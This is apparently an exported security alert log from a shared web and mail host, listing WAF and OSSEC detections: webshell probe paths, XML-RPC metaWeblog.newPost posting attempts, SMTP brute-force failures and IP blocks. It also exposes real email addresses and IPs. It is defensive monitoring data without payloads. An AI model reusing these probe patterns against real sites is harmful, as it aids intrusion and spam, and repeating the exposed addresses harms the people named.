domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/portfolio/img/img/img/img/demos/contact-us.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 12:05:37 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:14067: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 12:06:45 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:9102: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 12:06:11 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:14068: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/portfolio/img/demos/img/news.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 12:07:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:9103: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.8
country_id: 3175395
description:
Jan 27 12:07:12 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.8 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.44
country_id: 690791
description:
2026-01-27 12:07:59 H=([45.144.212.44]) [45.144.212.44]:65240 F=<ftirado@atom-spain.com> rejected RCPT <sales@cordage.com.my>: SPF: 45.144.212.44 is not allowed to send mail from atom-spain.com


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 12:08:51 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:14072: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.208.242.63
country_id: 3625428
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/comedical/2021/12/images/banner1.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 12:09:09 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:14073: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 12:10:01 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:9104: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 12:12:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:14634: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.44
country_id: 690791
description:
2026-01-27 12:13:33 H=([45.144.212.44]) [45.144.212.44]:58025 F=<ftirado@atom-spain.com> rejected RCPT <info@aire-fresh.com>: SPF: 45.144.212.44 is not allowed to send mail from atom-spain.com


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 60.54.167.90
country_id: 1733045
description:
2026-01-27 12:14:23 H=([10.1.1.176]) [60.54.167.90]:49392 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<jasonkua@printspecsolution.com> A=dovecot_login:jasonkua@printspecsolution.com rejected RCPT <era@printspecsolution.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.150.22.52
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=5&page_id=10 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.227.222.229
country_id: 3469034
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/recruit/fukuri-resort/images/banner3.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.40.2.194
country_id: 6290252
description:
Jan 27 12:15:37 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.40.2.194 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 60.54.167.90
country_id: 1733045
description:
2026-01-27 12:15:51 H=([10.1.1.176]) [60.54.167.90]:49416 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<jasonkua@printspecsolution.com> A=dovecot_login:jasonkua@printspecsolution.com rejected RCPT <era@printspecsolution.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.156.242.103
country_id: 3996063
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/comedical/2021/12/images/banner4.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.12.169.90
country_id: 3895114
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/comedical/2021/12/images/banner2.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.254.119.118
country_id: 3469034
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/comedical/2021/12/images/logo-(3).png HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.41.227.59
country_id: 1269750
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=5&page_id=1&sub=19 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 12:20:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:9108: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.255.205.134
country_id: 2413451
description:
Jan 27 12:20:25 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.255.205.134 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 192.141.37.153
country_id: 3658394
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=299091 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.55.244.184
country_id: 3865483
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=605450 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 121.121.104.199
country_id: 1733045
description:
[2026-01-27 12:21:17 +0800] info [webmaild] 121.121.104.199 - rozyhr@tschuan.com "GET /cpsess1655842472/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.235.28.91
country_id: 1562822
domain: www.nmahir.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nmahir.com/index-2.html HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.59.101.8
country_id: 1527747
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/news-detail9.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.120.95
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=430640 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.71.16.87
country_id: 1562822
description:
Jan 27 12:21:50 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.71.16.87 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 12:22:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:14638: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.233.192.170
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=1&sub=35 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.149.228.173
country_id: 1835841
description:
Jan 27 12:22:19 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.149.228.173 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 60.54.167.90
country_id: 1733045
description:
2026-01-27 12:22:43 H=([10.1.1.176]) [60.54.167.90]:49431 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<jasonkua@printspecsolution.com> A=dovecot_login:jasonkua@printspecsolution.com rejected RCPT <era@printspecsolution.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 158.181.40.36
country_id: 587116
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=1&page_id=1&sub=35 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.191.81.66
country_id: 3865483
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=566815 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.113.194.6
country_id: 1210997
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=558493 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.63.138.70
country_id: 3469034
description:
Jan 27 12:22:13 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.63.138.70 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.188.76.74
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=1&sub=37 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.169.52.42
country_id: 3865483
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/hotel.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.237.59.67
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=1&page_id=2 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 12:24:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57434: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.26.177.54
country_id: 3437598
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/resources/views/admin/employees/create.blade.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.238.40.103
country_id: 2635167
description:
2026-01-27 12:25:03 dovecot_plain authenticator failed for H=(o5p8rhj1oq5tx8nco3) [104.238.40.103]:20174: 535 Incorrect authentication data (set_id=chew@nexuscollection.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.226.29.198
country_id: 3865483
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/award-she.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.143.92.81
country_id: 2510769
description:
Jan 27 12:27:16 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.143.92.81 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.64.71.60
country_id: 3865483
description:
Jan 27 12:27:36 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.64.71.60 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/img/img/img/img/contact-us.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/news-n-events/img/img/img/img/img/img/index.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.43.111.205
country_id: 1269750
description:
2026-01-27 12:33:35 dovecot_plain authenticator failed for H=(rj7wn2l9dlro813kgpzj6h09q530b8b) [49.43.111.205]:51653: 535 Incorrect authentication data (set_id=eeyh@tujusetia.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.49.53.167
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:48104.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7a82ae18c01f8e1b75762140bdcc0e4f094e01b7||Title:0x9f6a05c8||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.173.40.84
country_id: 1562822
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/images/new6.png HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.6.33.8
country_id: 3469034
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/images/front-page.png HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.59.14.191
country_id: 1269750
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/images/kitchen-supplier.png HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 12:38:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:9112: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 12:40:05 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:14644: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b7750fa8574b087f52a38808cb35c3ee93129e2b||Title:0x11aaec6f||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.68.178.219
country_id: 3175395
description:
Jan 27 12:42:56 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.68.178.219 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.80
country_id: 3469034
description:
Jan 27 12:43:18 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.80 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 47.205.198.59
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:12-43.47.205.198.59||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.68.178.219
country_id: 3175395
description:
Jan 27 12:43:04 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.68.178.219 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.109.161.239
country_id: 3469034
description:
Jan 27 12:44:15 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.109.161.239 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:15d4b94427c0a4e4ad1e75f3353ebc81ff125f8e||Title:0x981f7687||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 172.203.245.82
country_id: 6252001
description:
Jan 27 12:47:46 sv3 pure-ftpd[2315047]: (?@172.203.245.82) [INFO] New connection from 172.203.245.82


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.19.197.26
country_id: 1269750
domain: ajresorts.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:20082.ajresorts.com.my||ServerName:ajresorts.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e8395c1bc3f206ef12f772cc9617e8dfd43c6801||Title:0x116d435d||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4c9cecf8c23d56dc5ce194dbe2be757c1f715454||Title:0xe2afdf47||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bd102632a7ed03bc8f61036a7a370a9a69162adc||Title:0x2877434a||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:355f5ea8e63b4a754314c8c27f5f12bfd4879cb9||Title:0xf8049fbf||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 12:52:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57466: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0280f2db27024f7ff434cf399e61ec429c8ddc01||Title:0x38ad5ffd||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e2d70b239ce6a4c2e540760e19029667555c4ccc||Title:0x3046e603||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9eec876d026ee6abb90a370846ac3c8dd5b409f6||Title:0xa9a662ae||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c66e4d2f33339a54b90540e9e8db2eb5042ca5d5||Title:0x364fb4b4||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:961c88dfb1d8957ece9ae2871ce3f28b18030888||Title:0xf80a99ef||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2d9df05228a0ec1fcc1d8ef7a5d69a1f703bbf96||Title:0x0815bdb8||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0fc6b9cf352244ec883f0b7b26bdaebb2bb6783c||Title:0x0ed126c5||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1ab8574224f10965ab5897031bff04994687a529||Title:0xd24e1359||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:23357fd633b3a8ecb7ca827edce415bf48cac868||Title:0xf589d66c||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 60.54.167.90
country_id: 1733045
description:
2026-01-27 13:02:52 H=([10.1.1.176]) [60.54.167.90]:49647 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<jasonkua@printspecsolution.com> A=dovecot_login:jasonkua@printspecsolution.com rejected RCPT <era@printspecsolution.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d47beabca5fc3793c35358168523acfdde11e986||Title:0xef33fbf7||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 115.68.0.23
country_id: 1835841
description:
2026-01-27 13:03:01 H=(localhost.localdomain) [115.68.0.23]:19125 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<service@civicmdsg.com.ph> rejected RCPT <info@oxbold.com>: SPF: 115.68.0.23 is not allowed to send mail from civicmdsg.com.ph


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:agsaintifik.com.my.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8bb229fa1402877b22ac33411bd43dbf7e0873a3||Title:0xac516691||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:agsaintifik.com.my.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b72eab72a39c4d359cb828b6af3e0da5eb8eb7ec||Title:0xd1a00881||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:agsaintifik.com.my.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:708fc430ffe2342e79ec5ee9dd8ce5885b7c70f8||Title:0x7ad4a053||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77839622
